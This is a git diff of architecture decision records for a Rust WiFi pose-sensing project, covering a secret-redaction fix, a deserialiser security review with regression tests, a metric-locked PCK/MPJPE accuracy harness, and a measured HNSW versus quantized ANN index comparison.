@@ -78,6 +78,23 @@ converts the entity registry; full conversion of the remaining artifacts is defe
 
 - `MigrateError` carries context (`path`, line/field) for I/O, JSON, YAML, missing-field,
   unsupported-schema-version, and entity-id parse failures (`src/lib.rs`).
+- **Secret-leak hardening (security review, 2026-06).** `secrets.yaml` parse failures must
+  NOT use the generic `MigrateError::YamlParse { source }` variant: `serde_yaml`'s message
+  for a typed-tag coercion error (e.g. `port: !!int <value>`) embeds the offending scalar
+  verbatim (`invalid value: string "<the-secret-value>"`), and that error propagates through
+  the `InspectSecrets` CLI path to stderr — leaking a secret value despite the CLI's
+  deliberate `<redacted>` design. `read_secrets` now maps such failures to a dedicated
+  redacting variant `MigrateError::SecretsParse { path, line, column }` that carries only the
+  file path and a coarse location (`serde_yaml::Error::location()`), never the scalar content.
+  Pinned by `secrets::tests::malformed_secrets_error_never_contains_secret_value` (asserts the
+  rendered error **and its full `#[source]` chain** never contain the secret value).
+  **Review dimensions confirmed clean with evidence:** source is never mutated (no
+  `fs::write`/`remove`/`create` anywhere — P1 reads source, writes nothing); paths are
+  user-supplied dirs joined with fixed filenames (no `..`/absolute traversal beyond the
+  user's own privileges); malformed/typed/truncated `.storage` JSON and YAML **error, never
+  panic** (every production `unwrap`/`expect` is test-only); unknown schema `minor_version`
+  hard-errors fail-closed; no SQL/shell/path injection surface (the tool emits diagnostics
+  only, persists nothing in P1).
 
 ### 2.5 Deferred to P2+ (NOT built — honestly labelled)
 
@@ -89,7 +106,9 @@ converts the entity registry; full conversion of the remaining artifacts is defe
 
 ### 2.6 Test evidence (as shipped)
 
-- 19 tests (`cargo test -p homecore-migrate`), per the crate README badge.
+- 21 tests (`cargo test -p homecore-migrate`) — 19 as originally shipped plus 2 added by the
+  2026-06 security review (`secrets::tests::malformed_secrets_error_never_contains_secret_value`,
+  `malformed_secrets_error_reports_location`).
 
 ## 3. Consequences
 

docs/adr/ADR-172-cli-core-csi-deserialiser-security-review.md

@@ -0,0 +1,117 @@
+# ADR-172: `wifi-densepose-cli` + `wifi-densepose-core` CSI-Deserialiser Security Review
+
+| Field | Value |
+|-------|-------|
+| **Status** | Accepted — clean-with-evidence, 4 regression pins added |
+| **Date** | 2026-06-15 |
+| **Deciders** | ruv |
+| **Codename** | **CSI-DESERIALISER-HARDENING** |
+| **Supersedes / amends** | none (records review; references ADR-127 §9 for the `core` portion, ADR-136 for the pre-existing DoS ACs) |
+
+## Context
+
+The beyond-SOTA security sweep (branch `feat/v2-beyond-sota-sweep`) reviewed each
+`v2/` crate for real, reproducible defects. Two crates had no prior dedicated
+security ADR:
+
+- **`wifi-densepose-core`** — the dependency root for all 12 downstream crates
+  (types, traits, error types, CSI frame primitives). A defect here is a
+  force-multiplier: every consumer inherits it.
+- **`wifi-densepose-cli`** — the user-facing entrypoint
+  (`calibrate`/`calibrate-serve`/`enroll`/`train-room`/`room-watch` + MAT-gated),
+  which parses untrusted UDP CSI packets and operator-supplied paths.
+
+A **specific hypothesis** motivated the core review. Three earlier reviews in
+this campaign found a systemic **NaN-state-poisoning bug class** in crates that
+depend on core (`wifi-densepose-calibration`, `-vitals`, `-geo`): a non-finite
+(NaN/Inf) input latched into persistent filter/accumulator state (IIR `y1/y2`,
+running mean, Welford/von-Mises accumulator, voxel grid) → silent **permanent**
+feature failure. The load-bearing question for this review: **does that bug class
+originate in a shared `wifi-densepose-core` primitive** (making the right fix a
+single root fix), or was it independently re-implemented in each downstream
+crate (making the three existing local fixes complete)?
+
+## Decision
+
+Record the review outcome and lock in the existing DoS guards with regression
+tests. **No production code is changed** — both crates were already hardened
+(ADR-136 acceptance criteria + `sanitize_room_id`); the gap was *untested*
+guards, which a future refactor could silently remove.
+
+### Load-bearing question — VERDICT: **NO** (the NaN class does not live in core)
+
+`wifi-densepose-core` exposes **no stateful accumulator of any kind** — no
+Welford/running-mean, no von-Mises/circular-mean, no IIR/biquad filter state, no
+voxel grid.
+
+- **MEASURED:** `grep` over `core/src` for
+  `welford|von_mises|biquad|y1|y2|running_mean|accumulat|voxel|self.*+=` matched
+  only the `InvalidState` *error* enum variant, "reset state" doc comments, and a
+  test-only LCG — **zero** stateful logic. The only float math in core is
+  construction-time projection (`CsiFrame::new` → amplitude/phase via `mapv`) and
+  pure stateless `utils` functions; nothing persists across frames.
+- **Corroboration:** `wifi-densepose-calibration::Features::from_series`
+  (`extract.rs:103–133`) already filters non-finite samples → `Features::ZERO`.
+  The downstream fixes are independently re-implemented, confirming each crate
+  rolls its own accumulator and each local fix is correct and complete. **A fix
+  in core would be a no-op (there is nothing to fix).**
+
+Consequence: the NaN-state-poisoning class is a *downstream-local* pattern, not a
+core-rooted defect. No hidden fourth instance exists in the shared primitive.
+
+### Findings (all pins — guards already present, now tested)
+
+| # | Location | Guard (pre-existing) | Regression pin | Evidence (MEASURED) |
+|---|----------|----------------------|----------------|---------------------|
+| 1 | `core` `types.rs:801` `from_canonical_bytes` | `saturating_mul` shape-vs-length check before `Vec::with_capacity(rows*cols)` | `canonical_decode_oversized_shape_is_bounded_not_allocated` | With guard removed: **panics `capacity overflow` at `types.rs:801`**; with guard: passes |
+| 2 | `core` `types.rs` decoder | typed `CanonicalDecodeError`, never panics | `canonical_decode_never_panics_on_arbitrary_bytes` (fuzz sweep) | panic-free on arbitrary bytes |
+| 3 | `cli` `calibrate.rs:276–291` | length check `buf.len() < 20 + n_pairs*2` before `Array2::zeros(n_antennas*n_subcarriers)` | `test_parse_csi_packet_oversized_claim_is_rejected_not_allocated` | 255×65535 claim in a 2 KB packet → `None` (no allocation) |
+| 4 | `cli` `calibrate.rs` parser | `None`-returning on malformed input | `test_parse_csi_packet_never_panics_on_arbitrary_bytes` (fuzz sweep) | panic-free on arbitrary UDP bytes |
+
+### Dimensions confirmed clean (with evidence)
+
+1. **Panic-on-adversarial-input = 0** — `from_canonical_bytes` returns a typed
+   error for every malformed class; `parse_csi_packet` returns `None`. Both
+   fuzz-swept panic-free.
+2. **NaN handling** — `Confidence::new` rejects NaN
+   (`!(0.0..=1.0).contains(&NaN)` ⇒ `Err`); `compute_bounding_box` /
+   `to_flat_array` are NaN-tolerant (f32 min/max ignore NaN).
+3. **Empty-frame safety** — `amplitude_variance` / `mean_amplitude` are
+   panic-free on an empty `Array2` (ndarray 0.17 returns finite / `None`).
+4. **Unbounded-memory DoS** — bounded in both deserialisers (findings 1 & 3).
+5. **Path traversal** — `calibrate-serve` defends every client-supplied
+   `room_id`/`bank`/`baseline` via `sanitize_room_id` (`[A-Za-z0-9_-]`, 64-char
+   cap) with existing tests; bearer-auth gate + non-loopback-bind warning present.
+   `mat export` writes to an operator-supplied `PathBuf` (acceptable CLI behavior).
+6. **Secrets** — `--token` is read from `CALIBRATE_TOKEN` env, never embedded.
+
+## Validation
+
+- `cargo test -p wifi-densepose-core` → **35 → 37** lib passed, 0 failed (+3 doctests)
+- `cargo test -p wifi-densepose-cli --no-default-features` → **24 → 26** passed, 0 failed
+- `cargo test --workspace --no-default-features` → **exit 0**, 0 failed
+- `python archive/v1/data/proof/verify.py` → **VERDICT: PASS**, hash
+  `f8e76f21a0f9852b70b6d9dd5318239f6b20cbcb4cdd995863263cecdc446f7a` **unchanged**
+  (core/cli are off the signal proof path — confirms no pipeline alteration)
+
+## Consequences
+
+### Positive
+- Two CSI deserialisers (the untrusted-input boundary of both the library root
+  and the network-facing CLI) now have their DoS guards pinned against
+  regression — a future refactor that drops a length check fails CI.
+- The NaN-state-poisoning class is settled as downstream-local; reviewers no
+  longer need to suspect a shared-root defect, and the three prior local fixes
+  are confirmed complete.
+
+### Negative
+- None. Test-only change; no behavior or API change.
+
+### Neutral
+- The `core` portion is also noted in ADR-127 §9 (shared security-review log);
+  this ADR is the canonical record for the `wifi-densepose-cli` review.
+
+## Links
+- ADR-127 — HOMECORE state machine (shared security-review log, §9)
+- ADR-136 — pre-existing CSI deserialiser DoS acceptance criteria
+- ADR-151 — per-room calibration (`calibrate`/`calibrate-serve` surfaces)

docs/adr/ADR-173-metric-locked-pck-mpjpe-accuracy-harness.md

@@ -0,0 +1,123 @@
+# ADR-173: Metric-Locked PCK/MPJPE Accuracy Harness
+
+| Field | Value |
+|-------|-------|
+| **Status** | Accepted — implemented, deterministically tested |
+| **Date** | 2026-06-15 |
+| **Deciders** | ruv |
+| **Codename** | **METRIC-LOCK** |
+| **Amends** | ADR-155 (generalizes the torso-only `metrics_core::pck_canonical` to a selectable normalization) |
+| **Motivated by** | `docs/research/sota-nn-train-benchmark-brief.md` (PR #1090) |
+
+## Context
+
+The beyond-SOTA SOTA-research brief (PR #1090) identified the single biggest
+threat to any "beyond-SOTA" accuracy claim this project makes: **metric
+ambiguity**. Three PCK@20 numbers circulate, computed under three *different and
+unstated* normalizations, so they cannot be compared:
+
+- **96.09–96.61%** — WiFlow-STD reproduction, **image/bounding-box-normalized** PCK (the looser convention).
+- **81.63%** — an internal MM-Fi number reported as **"torso-PCK"** (tighter).
+- **61.1%** — GraphPose-Fi (arXiv 2511.19105), **standard torso-diameter** PCK on the MM-Fi random split (the academic frontier).
+
+The project has been burned by this twice: a previously-published 92.9% was
+retracted because it used **absolute-pixel** normalization, not torso. Until
+there is *one canonical, documented, tested* PCK definition — and every reported
+number carries the definition it was computed under — no accuracy comparison is
+credible, and the "prove everything" bar cannot be met for the benchmark half of
+the work.
+
+This is measurement infrastructure, not an accuracy claim. The deliverable's job
+is to make the metric **unambiguous and reproducible**, so future numbers are
+comparable and an unlabeled PCK is structurally impossible.
+
+## Decision
+
+Add a metric-locked accuracy harness as a new module
+`v2/crates/wifi-densepose-train/src/accuracy.rs` (404 non-test lines; inline
+deterministic tests bring the file to 708), re-exported at the crate root. It
+**extends, not duplicates** — it reuses `metrics_core`'s geometric primitives
+(`bounding_box_diagonal`, canonical hip indices `CANON_LEFT_HIP/RIGHT_HIP`), so
+there remains exactly one implementation of each geometric reference; the
+existing ADR-155 `pck_canonical` (torso-only) is unchanged and this generalizes
+it.
+
+### Public API
+
+- `enum PckNormalization { TorsoDiameter, BoundingBoxDiagonal, AbsolutePixels(f32) }`
+  — the three conventions the three historical numbers used, now **explicit and
+  selectable**. `.label()` / `.tolerance(...)`.
+- `pck_at(pred, gt, vis, k, norm) -> (correct, total, pck)` — PCK@k =
+  fraction of *visible* keypoints whose predicted-vs-GT distance ≤ the tolerance,
+  where tolerance = `k%` of the chosen normalizer (or an absolute threshold for
+  `AbsolutePixels`).
+- `mpjpe(pred, gt, vis) -> f32` — mean per-joint position error (2D/3D, coordinate
+  units; mm for mm inputs). Re-exported crate-root as `pck_mpjpe` to avoid
+  colliding with the existing `eval::mpjpe`.
+- `struct PoseAccuracy { pck_at: BTreeMap<u8,f32>, mpjpe, normalization, n_keypoints, n_frames }`
+  — **a reported number always carries its `normalization`**; an unlabeled PCK is
+  structurally impossible to produce through this surface.
+- `struct PoseFrame { pred, gt, visibility }` + `accuracy_report(frames, ks, norm) -> PoseAccuracy`
+  (micro-averaged over keypoints).
+
+### Correctness is proven by hand-computed deterministic tests (no GPU, no data)
+
+The tests construct synthetic keypoint sets whose PCK/MPJPE can be computed by
+hand, and assert the harness matches. Highlights (all pass):
+
+| Test | Construction | Expected |
+|------|--------------|----------|
+| perfect_prediction | pred==gt | PCK=1.0 (all 3 norms), MPJPE=0 |
+| all_just_outside | every error just past τ@20 | PCK=0.0 |
+| half_in_half_out | 2 exact, 2 just outside | PCK=0.5 |
+| **three_normalizations (KEY PROOF)** | identical pred; nose err .06, shoulder .10, hips exact | torso=**0.50**, bbox=**1.00**, abs(.08)=**0.75** |
+| mpjpe_2d / mpjpe_3d | (3,4)→5 / (1,2,2)→3 | 2.5 / 3.0 |
+| mpjpe_excludes_invisible | invisible joint err 100 ignored | 5.0 |
+| zero_torso_unscoreable | coincident hips | `(0,0,0.0)`, **not** false-perfect |
+| no_visible_keypoints | vis=∅ | `(0,0,0.0)` |
+| nan_coords | one NaN pred coord | counted wrong, **no panic** |
+| empty report | no frames | 0.0, **not** NaN |
+| bbox≥torso ordering | same frames | bbox-PCK ≥ torso-PCK |
+
+### The key proof (the ambiguity is real and quantified)
+
+Identical predictions, three declared normalizations → **0.50 / 1.00 / 0.75**.
+Mechanism: the bbox diagonal `√(0.20² + 0.80²) = 0.825` is ~4× the hip-span torso
+`0.20`, so τ@20 is 0.165 (bbox) vs 0.040 (torso) — the looser image-normalized
+convention passes joints the strict torso convention rejects. This is *exactly*
+why 96% / 81.6% / 61% cannot be lined up without declaring the enum, demonstrated
+in-code.
+
+## Validation
+
+- `cargo test -p wifi-densepose-train --no-default-features` → lib **191 → 206**
+  (+15), `test_metrics` **12 → 14** (+2), doc-tests 8 — **0 failed**.
+- `cargo test --workspace --no-default-features` → **exit 0**, 0 failed.
+- `python archive/v1/data/proof/verify.py` → **VERDICT: PASS**, hash
+  `f8e76f21a0f9852b70b6d9dd5318239f6b20cbcb4cdd995863263cecdc446f7a` **unchanged**
+  (off the signal proof path — confirms no pipeline alteration).
+
+## Consequences
+
+### Positive
+- The three historical PCK numbers can now be **recomputed under one declared
+  definition** and compared honestly. The retracted-number class of error
+  (silent normalization mismatch) is structurally prevented going forward.
+- Establishes the measurement substrate for the beyond-SOTA target: GraphPose-Fi
+  cross-environment **PCK@20 = 12.9%** (standard torso PCK) is now a number this
+  harness can produce comparably.
+
+### Negative
+- None functional. The harness is additive; no existing metric path changed.
+
+### Neutral
+- Producing actual model numbers under this harness requires the trained models +
+  datasets (MM-Fi) and, for cross-domain splits, is the next sub-deliverable of
+  the benchmark/optimization milestone — out of scope here (this ADR is the
+  *instrument*, not the *reading*).
+
+## Links
+- ADR-155 — metric core (`pck_canonical`, torso-only) — generalized here
+- ADR-152 — WiFi-Pose SOTA 2026 intake / WiFlow-STD benchmark
+- `docs/research/sota-nn-train-benchmark-brief.md` — the motivating gap analysis
+- GraphPose-Fi — arXiv 2511.19105 (verified cross-env PCK@20 = 12.9% anchor)

docs/adr/ADR-260-rufield-mfs.md

@@ -351,12 +351,11 @@ Total test count across the workspace: **60 tests, 0 failed**.
 | 6 | Benchmark runner produces deterministic reports | **PASS** — identical report across runs (latency is the only wall-clock field) |
 | 7 | Raw waveform storage disabled by default | **PASS** — P0 network transmission denied by default policy |
 | 8 | P4 inference requires consent policy approval | **PASS** — P4 without consent → RequiresConsent; breathing/scratch rules carry `requires_consent = true` |
-| 9 | Dashboard shows live camera-free room intelligence | **DEFERRED** — no `rufield-viewer` dashboard in v0.1; the benchmark + `room_intelligence` example provide a CLI view. Follow-up. |
+| 9 | Dashboard shows live camera-free room intelligence | **PASS** — `rufield-viewer` (Axum + vanilla JS) streams the deterministic SyntheticSim→fusion demo: live room state, privacy-badged (P0–P5) event log, fusion graph, click-to-open signed-receipt modal, behind a permanent `SYNTHETIC — simulated sensors, no hardware` banner. `cargo run -p rufield-viewer`. Read-only demo viewer (not a device-management console — that's the real-adapter milestone). |
 | 10 | Spec readable for external implementers | **PASS** — ADR-260 + detailed standalone README with compiling usage examples |
 
-**Decision:** §27 criteria 1–8 and 10 PASS; criterion 9 (live dashboard) is
-**deferred** to a follow-up. Per the acceptance rule (1–8, 10 pass; 9 may be
-deferred), Status is set to **Accepted — v0.1 reference stack**.
+**Decision:** **all §27 criteria 1–10 PASS** (criterion 9, the live dashboard,
+was completed by `rufield-viewer`). Status is **Accepted — v0.1 reference stack**.
 
 ### Deterministic benchmark report (SYNTHETIC, seed = 2026)
 

docs/adr/ADR-261-ruvector-graph-ann-index.md

@@ -0,0 +1,200 @@
+# ADR-261: RuVector Graph-ANN Index — a real HNSW baseline + a SymphonyQG-style quantized variant, MEASURED
+
+| Field | Value |
+|-------|-------|
+| **Status** | Accepted |
+| **Date** | 2026-06-14 |
+| **Deciders** | ruv |
+| **Codebase target** | `wifi-densepose-ruvector` — `hnsw.rs`, `hnsw_quantized.rs`, `ann_measure.rs`, `benches/ann_bench.rs`, docs |
+| **Relates to** | ADR-084 (RaBitQ similarity sensor — 1-bit sketch), ADR-156 (RuVector beyond-SOTA sweep — §5 #1 SymphonyQG, §8/§10/§11 RaBitQ Pass-2/multi-bit/estimator), ADR-024 (AETHER re-ID), ADR-016/017 (RuVector integration) |
+| **Scope** | Build the **missing HNSW graph-ANN baseline** in the ruvector retrieval path, build a **SymphonyQG-style quantized-traversal variant** on the same graph, and **MEASURE** the real recall/QPS ratio between them — closing the ADR-156 §5 #1 gap honestly. Resolves ADR-156 §8 backlog item **"SymphonyQG reproduction"** from **CLAIMED-only** to **MEASURED-direction-tested**. |
+
+---
+
+## 0. PROOF discipline (this ADR's contract)
+
+This project has been publicly accused of "AI slop." This ADR answers with **evidence, not adjectives** — the same contract as ADR-154/156:
+
+- The HNSW index ships a **committed recall@10 correctness gate** (≥ 0.95 vs brute force on a planted-cluster fixture). Low recall means a graph bug; the gate is wired to fail in that case. It **did** fail first — and caught a real index-out-of-bounds bug in the insert path (§4) — which is exactly what a real gate is for.
+- Every QPS/recall number below is **MEASURED** on this box with a committed, deterministic, `--no-default-features`-runnable measurement (`src/ann_measure.rs`, `ann_bench_report`) and a committed criterion bench (`benches/ann_bench.rs`). Both call **one** shared fixture/measurement module, so the bench and the report can never measure different graphs.
+- The **headline result is an honest negative**: at our test scale the SymphonyQG-style quantized variant **does not beat float HNSW at equal recall** — the 1-bit Hamming traversal is too coarse to keep recall up. We report the real numbers, explain *why*, and state the expected large-N crossover. **We did not tune the quantized path to manufacture the 3.5–17× the source claims.** A measured negative + a scale caveat is a valid, publishable result.
+- We are explicit that this is **OUR HNSW + OUR 1-bit quantization, not SymphonyQG's exact system**. It tests the **direction** of the claim on our hardware/data, not a 1:1 reproduction.
+
+Test machine: Windows 11, `cargo test --release`, `std::time::Instant` wall-clock. Numbers are warm medians on this box; the **ratio** is the claim, not the absolute QPS.
+
+Reproduce:
+```bash
+cd v2 && cargo test -p wifi-densepose-ruvector --no-default-features --release \
+  ann_bench_report -- --nocapture
+# Larger N: ANN_BENCH_N=50000 cargo test ... --release ann_bench_report -- --nocapture
+cargo bench -p wifi-densepose-ruvector --bench ann_bench
+```
+
+---
+
+## 1. Context
+
+The ruvector crate's retrieval path — AETHER re-ID hot-cache (ADR-024), the `sketch.rs` 1-bit prefilter (ADR-084), room fingerprinting — is, at its core, an **approximate nearest-neighbour (ANN)** problem: dense float embedding in, top-K similar ids out. But **the crate had no graph index**. Every `topk` was either a linear scan (`O(N·d)` per query) or a 1-bit Hamming prefilter over a linear scan. That is `O(N)` per query and does not scale.
+
+[ADR-156 §5 #1](ADR-156-ruvector-fusion-beyond-sota.md) graded **SymphonyQG** (SIGMOD 2025) the **lead beyond-SOTA ANN candidate**, citing the source's claim of **3.5–17× QPS over HNSW at equal recall**, but marked it **CLAIMED**:
+
+> *"author-measured; **not reproduced on our hardware** — reproduction is future work."*
+
+And ADR-156 §8 was blunt about *why* it could not be reproduced: **there was no HNSW baseline to compare against.** You cannot measure a ratio against a baseline that does not exist. This ADR builds that missing baseline, builds the quantized variant that tests the direction of the SymphonyQG bet, and measures the real ratio.
+
+---
+
+## 2. Decision
+
+1. Add a correct, dependency-free **float HNSW** graph index (`hnsw.rs`): the real Malkov & Yashunin (TPAMI 2018) algorithm — multi-layer navigable small-world graph, `ef_construction` / `ef_search`, the Algorithm-4 neighbour-selection heuristic, seeded-deterministic level assignment, L2 + cosine. This is the **baseline** ADR-156 said was missing.
+2. Add a **SymphonyQG-style quantized-traversal variant** (`hnsw_quantized.rs`): the *same* graph (same seed, same structure), but the beam search scores candidates with a **cheap 1-bit Hamming distance** over the RaBitQ Pass-2 rotated sign code (reusing `rotation.rs` + the sign-quantization of `sketch.rs`), then **exact-float reranks** the final candidate set. This is the SymphonyQG bet — cheaper per-node scoring, recovered by a final exact rerank.
+3. **Measure** linear vs float-HNSW vs quantized-HNSW (recall@10, QPS, equal-recall ratios) on one deterministic planted-cluster fixture, and record the honest verdict against the SymphonyQG 3.5–17× claim.
+
+### Why 1-bit Hamming for the quantized traversal
+
+The crate already had the exact pieces SymphonyQG fuses: a deterministic orthogonal rotation (`rotation.rs`, RaBitQ Pass-2) and sign-quantization (`sketch.rs`). A 1-bit code compares by POPCNT Hamming — a few machine words, no per-dimension float work — so it is the cheapest possible traversal score and the most direct test of "can a quantized score keep the beam on the right path." The cost (measured below): the 1-bit code is a *coarse* angle proxy (ADR-156 §10 measured ~46% strict-K coverage for sign-only), and that coarseness is what limits recall here.
+
+---
+
+## 3. Design
+
+### 3.1 `hnsw.rs` — float HNSW (the baseline)
+
+- **Graph.** `links[id][layer]` adjacency; layer 0 holds every node, higher layers exponentially sparser. `m_max` is `2·M` on layer 0, `M` above (the paper's asymmetric degree cap).
+- **Insert.** Greedy-descend the upper layers to a good entry point, then for each layer from the node's level down to 0: `search_layer` for `ef_construction` candidates, `select_neighbours` (Algorithm 4 — keep a candidate only if it is closer to the new node than to any already-selected neighbour, giving diverse navigable edges), wire bidirectional edges, re-prune any neighbour that overflows `m_max`. The node is pushed into the arrays **before** wiring so every `links[*]` index is valid mid-insert (§4 — the bug the gate caught).
+- **Search.** Greedy-descend layers `>0`, then best-first beam search of width `ef` on layer 0; return the closest `k`. Iterative (explicit heaps + visited set) — **no recursion**, bounded by the beam and the visited set.
+- **Determinism.** Level assignment is the only randomness and is driven by a **seeded SplitMix64** (the exact pattern from `rotation.rs`) — never `Date::now`/OS RNG/unseeded `rand`. Same `(seed, params, insertion order)` ⇒ bit-identical graph and search (pinned by `hnsw_is_deterministic_for_seed`).
+- **Robustness.** Empty index, `k==0`, `k>n`, single node, zero-dim, ragged query, `ef<k` all return cleanly — pinned by `*_no_panic` tests.
+
+### 3.2 `hnsw_quantized.rs` — the SymphonyQG-style variant
+
+Same graph as the float index (identical seed/structure — the **only** variable is the scoring), plus a per-node `ceil(D/8)`-byte 1-bit Pass-2 sign code (`D = next_pow2(dim)`). `search_quantized(query, k, ef, rerank)`:
+1. Encode the query to its 1-bit code (one rotation + sign pack).
+2. Greedy-descend + beam-search the graph scoring every visited node by **POPCNT Hamming** (query-code XOR node-code) — no per-dim float work.
+3. **Exact-float rerank** the top `rerank` Hamming candidates with the true L2/cosine metric, return the best `k`.
+
+### 3.3 Security / robustness
+
+Both indices: bounded **iterative** traversal (no unbounded recursion), no panic on empty/degenerate/ragged/zero-dim input (the metric compares over the shorter prefix; zero-norm cosine returns max distance, not NaN). The 1-bit encode handles padded dims via the existing `Rotation::apply_padded`.
+
+---
+
+## 4. The bug the correctness gate caught (disclosed, not hidden)
+
+The first run of the recall@10 gate **panicked**: `index out of bounds: the len is 33 but the index is 33` in `search_layer`. Root cause: `insert` wired bidirectional edges (`links[nbr][l].push(id)`) **before** pushing the new node's own `links[id]` row into the array. A later traversal step in the *same* insert could hop to a neighbour that now pointed at `id` and read `links[id]` — which did not exist yet. Fix: push the node (with empty per-layer link lists) into `vectors`/`links`/`levels` **up front**, then wire edges into its existing slot. The new node has no incoming edges and empty outgoing lists until wiring, so it is unreachable by the searches that run first — pushing early is safe and keeps every index valid. This is exactly why the recall gate exists: a silent low-recall graph and an out-of-bounds panic are both "slop" the gate forces into the open.
+
+---
+
+## 5. The SymphonyQG claim being tested
+
+| Source | Claim | Grade (before this ADR) |
+|--------|-------|-------------------------|
+| SymphonyQG, SIGMOD 2025 | **3.5–17× QPS over HNSW at equal recall**, via quantization unified with graph traversal, pure-CPU/edge-portable | **CLAIMED** — author-measured, *not reproduced on our hardware (no HNSW baseline existed)* |
+
+The bet: a quantized traversal score is cheap enough — and accurate enough to keep the beam on-path — that you pay far less per visited node and recover the small recall loss with a final exact rerank.
+
+---
+
+## 6. MEASURED results
+
+Fixture: planted-cluster synthetic, **dim=128, N=10,000, 64 clusters, 200 queries, K=10, noise=0.35**, L2 metric, `M=16`, `ef_construction=200`. Graph seed `0x6261524741484E53`, rotation seed `0x5EEDC0DE12345678`. `--release`, warm wall-clock on the test machine. (The fixture and both indices are shared by the criterion bench.)
+
+| Method | recall@10 | QPS | latency (µs) |
+|--------|-----------|-----|--------------|
+| **linear scan (brute force)** | 1.0000 | 1,022 | 978 |
+| **float-HNSW** ef=16 | 0.9945 | **25,744** | 39 |
+| float-HNSW ef=32 | 0.9990 | 21,470 | 47 |
+| float-HNSW ef=64 | 1.0000 | 18,779 | 53 |
+| float-HNSW ef=128 | 1.0000 | 12,722 | 79 |
+| float-HNSW ef=256 | 1.0000 | 5,742 | 174 |
+| quant-HNSW ef=32 rr=20 | 0.1620 | 30,005 | 33 |
+| quant-HNSW ef=32 rr=100 | 0.2615 | 36,388 | 28 |
+| quant-HNSW ef=64 rr=100 | 0.4865 | 20,603 | 49 |
+| quant-HNSW ef=128 rr=100 | 0.6785 | 13,718 | 73 |
+| quant-HNSW ef=256 rr=100 | **0.7380** | 6,578 | 152 |
+
+### Equal-recall QPS ratios
+
+| Target recall | Fastest float-HNSW | Fastest quant-HNSW meeting it | quant/float | float/linear |
+|---------------|--------------------|-------------------------------|-------------|--------------|
+| ≥ 0.90 | ef=16 → 25,744 QPS | **none** (best quant recall = 0.738) | — | **25.19×** |
+| ≥ 0.95 | ef=16 → 25,744 QPS | **none** | — | **25.19×** |
+| ≥ 0.99 | ef=16 → 25,744 QPS | **none** | — | **25.19×** |
+
+---
+
+## 7. Honest verdict
+
+**The HNSW baseline is a decisive win over linear scan: ~25× QPS at recall ≥ 0.99** (ef=16: 0.9945 recall, 25,744 QPS vs linear 1,022 QPS). The correctness gate (recall@10 ≥ 0.95 vs brute force, both L2 and cosine) holds. This is the baseline ADR-156 §5 #1 said did not exist — it now does.
+
+**The SymphonyQG-style quantized variant does NOT beat float HNSW at our scale — direction REFUTED at N=10k.** The 1-bit Hamming traversal is too coarse: its best achievable recall is **0.738** (ef=256, rr=100), and it never reaches even the 0.90 equal-recall point where a fair QPS comparison could be made. Where the quantized score *is* faster (ef=32: ~30–36k QPS, beating float's 25.7k), its recall collapses to 0.16–0.26 — a meaningless win. There is **no equal-recall operating point** at which quantized is faster, so the SymphonyQG 3.5–17× claim is **not reproduced** by our 1-bit construction here.
+
+**Why** (so the negative is understood, not just stated):
+1. The 1-bit sign code is a **coarse angle proxy** — ADR-156 §10 already measured it at ~46% strict-K coverage. Driving graph *traversal* by that coarse score steers the beam onto the wrong nodes, and the exact-float rerank can only recover what the beam actually visited. At N=10k, near-neighbours have nearly-identical sign codes, so Hamming cannot separate them.
+2. At this scale **float distance is already cheap**: one 128-d L2 is a handful of µs; the per-node float compute the quantization saves is small relative to the recall it costs. SymphonyQG's win shows up at **much larger N** (millions), where (a) the float-distance fraction of query time dominates and (b) their *multi-bit RaBitQ-fused* code (not our 1-bit sign code) keeps recall high. **Expected crossover: large N + a higher-bit code.** ADR-156 §10 already measured that a ≤4-bit code reaches ~74% strict coverage vs 1-bit's ~46%, so a multi-bit traversal score is the obvious next lever — deferred, not claimed.
+
+**Caveat (stated plainly):** this is **our** HNSW + **our** 1-bit quantization, not SymphonyQG's system. We tested the *direction* of the claim ("does quantized traversal + rerank beat float HNSW at equal recall?") on our hardware/data and got a **measured no at N=10k**. That neither confirms nor refutes SymphonyQG's own published numbers on their system/scale — it refutes the direction *for our construction at our scale*, and identifies the two levers (scale, code bit-depth) a real reproduction would need.
+
+---
+
+## 8. Validation
+
+- **`cd v2 && cargo test -p wifi-densepose-ruvector --no-default-features --lib`** — **156 passed / 0 failed, 1 ignored** (M1 added 20: 10 `hnsw`, 7 `hnsw_quantized`, 3 `ann_measure`; M2 added 5 multi-bit/scaling tests; `scaling_report` is the `#[ignore]` measurement that produced the §11 table).
+- **`cargo test --workspace --no-default-features`** — GREEN (see §10 for the count).
+- **Correctness gate verified to bite:** the recall@10 gate **panicked** on the first (buggy) insert path (§4); after the fix it passes at 0.99+ recall (L2 and cosine).
+- **`cargo test -p wifi-densepose-ruvector --no-default-features --release ann_bench_report -- --nocapture`** — prints the §6 table; the numbers above are copied verbatim from that run.
+- **`cargo bench -p wifi-densepose-ruvector --bench ann_bench`** — compiles and runs the same fixture through criterion.
+- **`python archive/v1/data/proof/verify.py`** — **VERDICT: PASS** (the Rust ANN work is independent of the Python signal-proof pipeline; hash unchanged).
+
+---
+
+## 9. Consequences
+
+**Positive.** ruvector now has a real, deterministic, pure-Rust HNSW graph index (25× over linear scan at high recall) usable by the AETHER re-ID / sketch-prefilter path — the ANN substrate ADR-156 §5 #1 wanted. The SymphonyQG claim is no longer CLAIMED-only: we built the missing baseline and **measured** the direction, with the bug-caught-by-the-gate disclosed.
+
+**Negative / honest.** The 1-bit quantized variant is **not** an equal-recall QPS win at our scale; it is shipped as a measured experiment with a clearly-stated ceiling, not as a recommended default. Anyone reaching for it must read §7.
+
+**Resolved by Milestone-2 (§11, MEASURED — no longer deferred).**
+- **Multi-bit traversal score** — implemented (`b ∈ {1,2,4}` bits/dim over the Pass-2 rotated coordinates) and measured. It *does* lift quantized recall (at N=10k, b=4 reaches the 0.90 equal-recall regime where 1-bit could not), but still does not beat float HNSW QPS.
+- **Large-N crossover measurement** — measured at N ∈ {10k, 100k, 250k}. **The predicted large-N crossover did NOT materialize — it moved the wrong way** (quant recall *collapses* as N grows). See §11.
+
+**Deferred (not silently dropped).**
+- **Wiring HNSW into the live re-ID path** (AETHER hot-cache / sketch prefilter) behind a flag.
+- **N ≥ 1M + SymphonyQG's exact RaBitQ-fused construction** — our impl refutes the *direction* at ≤250k; a true 1:1 reproduction at million-scale with their fused codes remains a separate, larger build.
+
+---
+
+## 10. What changed, file by file
+
+- `hnsw.rs` (new) — float HNSW: graph, seeded-deterministic level assignment, Algorithm-2 beam search, Algorithm-4 neighbour selection, L2/cosine, brute-force ground truth, full degenerate-case guards; 10 tests incl. the recall@10 correctness gate (L2 + cosine) and determinism. The insert-order bug fix (§4).
